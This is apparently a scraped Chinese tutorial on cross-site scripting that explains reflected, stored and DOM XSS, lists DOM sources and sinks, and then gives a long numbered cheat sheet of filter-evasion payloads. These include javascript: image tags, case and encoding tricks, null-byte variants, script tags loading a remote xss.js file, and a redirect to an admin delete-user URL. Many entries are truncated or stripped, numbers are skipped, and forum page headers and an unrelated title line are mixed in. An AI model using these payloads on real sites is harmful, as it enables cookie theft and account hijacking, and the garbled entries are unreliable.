網(wǎng)站推廣模式網(wǎng)站開發(fā)的流程
一、什么是XSS?
XSS全稱是Cross Site Scripting即跨站腳本,當(dāng)目標(biāo)網(wǎng)站目標(biāo)用戶瀏覽器渲染HTML文檔的過程中,出現(xiàn)了不被預(yù)期的腳本指令并執(zhí)行時,XSS就發(fā)生了。
這里我們主要注意四點:
1、目標(biāo)網(wǎng)站目標(biāo)用戶;
2、瀏覽器;
3、不被預(yù)期;
4、腳本。
二、XSS有什么危害?
當(dāng)我們知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。
關(guān)于XSS有關(guān)危害,我這里中羅列一段列表,詳細(xì)介紹不進(jìn)行更多的贅述:
掛馬
盜取用戶Cookie。
DOS(拒絕服務(wù))客戶端瀏覽器。
釣魚攻擊,高級的釣魚技巧。
刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。
劫持用戶Web行為,甚至進(jìn)一步滲透內(nèi)網(wǎng)。
爆發(fā)Web2.0蠕蟲。
蠕蟲式的DDoS攻擊。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)
其它安全問題
三、XSS分類
XSS有三類:反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSS。
1、反射型XSS
發(fā)出請求時,XSS代碼出現(xiàn)在URL中,作為輸入提交到服務(wù)器端,服務(wù)器端解析后響應(yīng),XSS代碼隨響應(yīng)內(nèi)容一起傳回給瀏覽器,最后瀏覽器解析執(zhí)行XSS代碼。這個過程像一次反射,故叫反射型XSS。
一個簡單的例子:
http://www.a.com/xss/reflect.php的代碼如下:
如果輸入x的值未經(jīng)任何過濾就直接輸出,提交:
http://www.a.com/xss/reflect.php?x=
則alert()函數(shù)會在瀏覽器觸發(fā)。
2、存儲型XSS
存儲型XSS和反射型XSS的差別僅在于,提交的代碼會存儲在服務(wù)器端(數(shù)據(jù)庫,內(nèi)存,文件系統(tǒng)等),下次請求目標(biāo)頁面時不用再提交XSS代碼
最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數(shù)據(jù)庫,目標(biāo)用戶查看留言板時,那些留言的內(nèi)容會從數(shù)據(jù)庫查詢出來并顯示,瀏覽器發(fā)現(xiàn)有XSS代碼,就當(dāng)做正常的HTML與Js解析執(zhí)行,于是觸發(fā)了XSS攻擊。
3、DOM XSS
DOM XSS和反射型XSS、存儲型XSS的差別在于DOM XSS的代碼并不需要服務(wù)器參與,觸發(fā)XSS靠的是瀏覽器端的DOM解析,完全是客戶端的事情。
http://www.a.com/xss/domxss.html代碼如下:
觸發(fā)方式為:
http://www.a.com/xss/domxss.html#alert(1)
這個URL#后的內(nèi)容是不會發(fā)送到服務(wù)器端的,僅僅在客戶端被接收并解執(zhí)行。
常見的輸入點有:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
xhr請求回來的數(shù)據(jù)
document.cookie
表單項的值
常見的輸出點有:
直接輸出html內(nèi)容,如:
document.write(…)
document.writeln(…)
document.body.innerHtml=…
直接修改DOM樹(包括DHTML)如:
document.forms[0].action…(以及其他集合,如:一些對象的src/href屬性等)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …(直接通過body對象訪問DOM)
window.attachEvent(…)
替換document URL,如:
document.location=…(以及直接賦值給location的href,host,hostname屬性)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
打開或修改新窗口,如:
document.open(…)
window.open(…)
window.location.href=…(以及直接賦值給location的href,host,hostname屬性)
直接執(zhí)行腳本,如:
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
四、常見的XSS攻擊方法
1、普通的XSS JavaScript注入
2、IMG標(biāo)簽XSS使用JavaScript命令
<IMG SRC=https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=http%3A%2F%2F3w.org%2FXSS%2Fxss.js%2F&pos_id=img-sWtrSJp1-1694927372975)>
3、IMG標(biāo)簽無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
4、IMG標(biāo)簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
5、HTML編碼(必須有分號)
<IMG SRC=javascript:alert(“XSS”)>
6、修正缺陷IMG標(biāo)簽
<IMG “”“>”>
7、formCharCode標(biāo)簽(計算器)
8、UTF-8的Unicode編碼(計算器)
<IMG SRC=jav…省略…S’)>
9、7位的UTF-8的Unicode編碼是沒有分號的(計算器)
<IMG SRC=jav…省略…S’)>
10、十六進(jìn)制編碼也是沒有分號(計算器)
11、嵌入式標(biāo)簽,將Javascript分開
12、嵌入式編碼標(biāo)簽,將Javascript分開
13、嵌入式換行符
14、嵌入式回車
15、嵌入式多行注入JavaScript,這是XSS極端的例子
16、解決限制字符(要求同頁面)
17、空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print “<IMG SRC=java\0script:alert(“XSS”)>”;’ > out
18、空字符2,空字符在國內(nèi)基本沒效果.因為沒有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(“XSS”)</SCR\0IPT>”;’ > out
19、Spaces和meta前的IMG標(biāo)簽
20、Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=“http://3w.org/XSS/xss.js”>
21、Non-alpha-non-digit XSS to 2
22、Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=“http://3w.org/XSS/xss.js”>
23、雙開括號
<
24、無結(jié)束腳本標(biāo)記(僅火狐等瀏覽器)
29、換碼過濾的JavaScript
";alert(‘XSS’);//
30、結(jié)束Title標(biāo)簽
31、Input Image
32、BODY Image
33、BODY標(biāo)簽
<BODY(‘XSS’)>
34、IMG Dynsrc
35、IMG Lowsrc
36、BGSOUND
37、STYLE sheet
38、遠(yuǎn)程樣式表
39、List-style-image(列表式)
- XSS
40、IMG VBscript
- XSS
41、META鏈接url
42、Iframe
43、Frame
12-7-1 T00LS - Powered by Discuz! Board https://www.a.com/viewthread.php?action=printable&tid=15267 3/644、Table
45、TD
46、DIV background-image
47、DIV background-image后加上額外字符(1-32&34&39&160&8192-
8&13&12288&65279)
48、DIV expression
49、STYLE屬性分拆表達(dá)
50、匿名STYLE(組成:開角號和一個字母開頭)
51、STYLE background-image
CLASS=XSS>
52、IMG STYLE方式
exppression(alert(“XSS”))'>
53、STYLE background
54、BASE
55、EMBED標(biāo)簽,你可以嵌入FLASH,其中包涵XSS
56、在flash中使用ActionScrpt可以混進(jìn)你XSS的代碼
a=“get”;
b=“URL(”“;
c=“javascript:”;
d=“alert(‘XSS’);”)”;
eval_r(a+b+c+d);
57、XML namespace.HTC文件必須和你的XSS載體在一臺服務(wù)器上
<?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"> XSS58、如果過濾了你的JS你可以在圖片里添加JS代碼來利用
59、IMG嵌入式命令,可執(zhí)行任意命令

60、IMG嵌入式命令(a.jpg在同服務(wù)器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
61、繞符號過濾(1)
62、繞符號過濾(2)
63、繞符號過濾(3)
64、繞符號過濾(4)
65、繞符號過濾(5)
66、12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6
67、
PT SRC=“http://3w.org/xss.js”>
68、URL繞行
XSS
69、URL編碼
XSS
70、IP十進(jìn)制
<A HREF="http://3232235521″>XSS
71、IP十六進(jìn)制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS
72、IP八進(jìn)制
<A HREF="http://0300.0250.0000.0001″>XSS
73、混合編碼
<A HREF=“http://6 6.000146.0×7.147/”">XSS
74、節(jié)省[http:]
XSS
75、節(jié)省[www]
XSS
76、絕對點絕對DNS
XSS
77、javascript鏈接
XSS